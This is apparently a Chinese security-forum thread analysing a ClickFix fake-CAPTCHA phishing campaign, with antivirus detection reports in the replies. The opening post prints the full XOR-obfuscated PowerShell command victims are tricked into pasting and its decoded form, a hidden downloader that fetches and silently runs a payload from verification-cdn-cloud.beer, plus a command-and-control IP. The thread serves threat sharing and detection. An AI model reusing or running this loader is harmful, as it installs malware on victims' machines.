ClickFix 1X

神龟Turmi

重出江湖说是

原始钓鱼网站：hxxps://thedragonyear[点]com/hk/welcome-onboard-ship-fools-changing-image-ship-fools-western-culture/

假验证码内容：

1. <# Code Verification: B11AC969032A #>  $k='xMYhlaV';$d='5c3b2f0d545332456a023b1512221d2077260915782b282b1e05023328223006182c37162c3e0d1e3c6c421e3c0b19133f0c34091a0315391b22355537322f0b393c05422f330c630a0d0f1424113920381e0e22172e36043818261d106352380d25497f624c145c715f3730184b466d5c3d644f4b467143692d55260e3f166009091809765c28371e563513351d794037322f0b393c05422819561d381c043c6c420a3c1c3e00381c22342e050d33362c340d44487f43033c1f4128221d20794525153315192018094112113f3c0b180e24016d74380d153e58692d484127390a2e3c1423142255032c04005a7202701307050f7b282c2d004c45225865023b1512221d207721234f0619393135565b111d390b09020539150b3004092f37152871414746715628210d4b467f43693f55260e3f166009091809765c39794037322f0b393c05422819561d381c043c6c420a3c1c3e00381c22342e050d33362c340d44487d5f6a774f4b4a720064624c030a6b48763f071e49721170695348087655212d485f417b19233d48410f390c6d7d07075a72116672411715240136300e444c38173979403804250c6009091809765c3770411728380e22320d4136331a1f3c191904250c6d743d1e08765f6a311c1811254262761e09133f1e243a0918083916603a0c024c3514222c0c4203331d3f76091c08794f37770d1404715f6d742719151011213c48481b7655182a0d2e0025112e09091e123f162a24210217391328743f0903041d3c2c0d1f157655182b014c467110392d181f5b79573b3c1a05073f1b2c2d01030f7b1b2937450f0d390d29770a090424572c29014308381c2821461c0926472c640c00472217263c065155661d79600d0950641b743d0a555437497e6b5e5f056e4e7c380c595066412e3d5a0955624a7e615c5e56324e2e68090e07674e7d6d5a0d5860407e690e5c03700b3f3a550f0d390d293f040d13335e2e3b550f092417203c4e1e043045252d1c1c12734b0c7c5a2a44643e3a2e1f420639172a350d42023915686b2e4a0c391c28640b000e231c2b35091e04715f6d742719151011213c4848077655182a0d2e0025112e09091e123f162a62010a49021d3e2d453c0022106d7d0e451a721726645911043a0b28223b1800240c600a0409042658600a0d0f0e381c3e795a111c3519393a00173222193f2d453f0d331d3d79453f043517233d1b4c532b0576300e444c38173979403804250c6009091809765c2b704117042e1139245348046b322230064131370c25794c18417e231e201b18043b560416463c0022101063522b04222a2c370c030c1011213c260d0c335064705322042155042d0d01417b31393c053818261d6d1d011e04350c222b114c4c0619393148480476550b361a0f042a37382d4522143a14767d0951217e5f6a214f4b4d715f60204f4b486d112b714c1c417b1628794f4b467151367d09475c7e5f6a74184b467d5c3d701548007d45657e4f410e715f667d0d455a721966644c0a5a3f1e650d0d1f157b282c2d004c452c51367f48481b76382c252719157b3638350411043a0b28223b1800240c60091a0302330b3e79452a083a1d1d381c0441721e6d743f050f32173a0a1c150d335805300c08043805767d0d14046b3f282d452f093f1429101c090c76551d381c0441721d6d742e050d221d3f794242042e1d6d743a0902230a3e3c4841273f1428253b090d331b3974270e0b331b3979452a08240b39795957453b0b24642f09157b3b2530040828221d2079453c0022106d7d0d4c4c1011212d0d1e417c56202a014c4c041d2e2c1a1f0476550b3004091d051d213c0b184c191a273c0b18417b3e242b1b18416743692b1d025c72163835045745240d231d011e5c721638350457083050693c1009482d5c3f2c065145330028772e190d3a362c340d5745240d231d011e5c721d353c462808241d2e2d071e18783e38350422003b1d303c041f043f1e657d051f087f03692b1d025c72153e30462a143a14033805095a720a38372c05136b5c202a0142253f0a283a1c03132f560b2c04002f371528240d00123303692b1d025c721e3062010a49720a38374117083050692b1d02253f0a64223b1800240c60091a0302330b3e79452a083a1d1d381c0441720a3837484136390a2630060b253f0a283a1c03132f58692b1d02253f0a6d743f050f32173a0a1c150d335805300c0804380528351b091a050c2c2b1c413124172e3c1b1f417b3e24350d3c0022106d7d1a190f76551a3006080e212b39200409411e11293d0d021c2b43392b1117333315222f0d4128221d2079452008221d3f38043c0022106d7d0e4c4c10173f3a0d4c4c130a3f361a2d0222112237483f083a1d232d041522391639300619042b1b2c2d0b041a2b43392b1117083050193c1b184c0619393148481b7f031f3c0503173355042d0d01417b34242d0d1e003a282c2d004c452c58601f071e023358601c1a1e0e24392e2d01030f762b24350d02153a010e36061808380d2824150f00221b25221557466d2b39381a184c060a223a0d1f1276551a3006080e212b39200409411e11293d0d024126173a3c1a1f0933142179452d13310d203c06182d3f0b39794f412f39283f360e050d335f617e453b08381c222e3b18183a1d6a754f2408321c28374f40467b3b2234050d0f325f617d1e1a046e4a29620d140822';$r='';for($p=0;$p -lt $d.Length;$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$p/2%$k.Length])};&([ScriptBlock]::Create($r))

复制代码

解密后的PowerShell：

1. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$x='zip';$p='';$t=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $t -Force|Out-Null;$z=Join-Path $t ([System.IO.Path]::GetRandomFileName()+'.exe');$f=Join-Path $t ([System.IO.Path]::GetRandomFileName()+'.'+$x);$ok=0;for($i=0;$i -lt 3 -and -not $ok;$i++){try{if(-not (Test-Path $z)){Invoke-WebRequest -Uri 'https://verification-cdn-cloud.beer/api/7z.exe' -OutFile $z -UseBasicParsing}Invoke-WebRequest -Uri 'https://verification-cdn-cloud.beer/api/index.php?a=dl&token=e9d09857d375637d571e5c5fa801192e6d9016ff2bb8e2dc3c440336e72a9000&src=cloudflare&cb=edge&ref=https%3A%2F%2Fthedragonyear.com%2Fhk%2Fwelcome-onboard-ship-fools-changing-image-ship-fools-western-culture%2F&mode=cloudflare' -OutFile $f -UseBasicParsing;if(Test-Path $f){$ok=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $f)){exit};$e=Join-Path $t ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $e -Force|Out-Null;$a=@('x','-y');if($p -ne ''){$a+=('-p'+$p)}$a+=('-o'+$e);$a+=$f;if(Test-Path $z){& $z @a|Out-Null}else{Start-Process -FilePath $f -WindowStyle Hidden};$exe=Get-ChildItem -Path $e -Filter *.exe -Recurse -File|Select-Object -First 1;$msi=Get-ChildItem -Path $e -Filter *.msi -Recurse -File|Select-Object -First 1;$run=$null;$runDir=$null;if($exe){$run=$exe.FullName;$runDir=$exe.Directory.FullName}elseif($msi){$run=$msi.FullName;$runDir=$msi.Directory.FullName}else{$run=$f};if($run){if($runDir){Start-Process -FilePath $run -WorkingDirectory $runDir -WindowStyle Hidden}else{Start-Process -FilePath $run -WindowStyle Hidden}};try{Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $z){Remove-Item -LiteralPath $z -Force -ErrorAction SilentlyContinue}}catch{};

复制代码

C&C：

1. 173.244.207.30 //德国 法兰克福 midphase.com

复制代码

浦北光

恶意网址防护

likexcm

莒县小哥

事件: 访问网站被阻止
用户: 莒县小哥\Administrator
用户类型: 活动用户
应用程序名称: msedge.exe
应用程序路径: C:\Program Files (x86)\Microsoft\Edge\Application
组件: 安全浏览
结果描述: 已阻止
类型: 恶意链接
名称: verification-cdn-cloud.beer
精确度: 确切
威胁级别: 高
对象类型: 网页
对象名称: verification-cdn-cloud.beer
原因: 数据库
数据库发布日期: 今天，2026/4/27 18:26:00

asdfnbbj

360没反应

UNknownOoo

火绒
AMSI捉

1. 病毒名称：TrojanDownloader/PS.NetLoader.hp
   
2. 病毒ID：B93C9D3487832E9D
   
3. 病毒路径：PowerShell_58C53A8D4566821D235487E12DDC0EEB3D2B1864
   
4. 操作类型：执行
   
5. 操作结果：已处理，清除恶意代码
   
6. 
   
7. 进程ID：3464
   
8. 操作进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
9. 操作进程命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
   
10. 父进程ID：5868
    
11. 父进程：C:\Windows\explorer.exe

复制代码

嘿嘿不能说

直接访问地址

1. 功能：
   
2. 線上威脅防護
   
3. 
   
4. 為了保護您，我們阻止了這個危險頁面：
   
5. https://verification-cdn-cloud.beer/api/css.js?b=8201ccbe&r=926193
   
6. 訪問者： GT:JS.Acsogenixx.3327.AEA5BE57
   
7. 危險頁面試圖安裝可能會損害設備，收集個人訊息或在未經您同意的情況下執行的軟體

复制代码

脚本跑的话有点奇怪，似乎没跑起来。。。。。。

lingchenheiye

ESET删除恶意文件并且拦截了网站

Rukia

BEST
反钓鱼已拒绝访问网页。hxxps://verification-cdn-cloud[.]beer/  已被确定为 钓鱼 网站

fdsax

emsi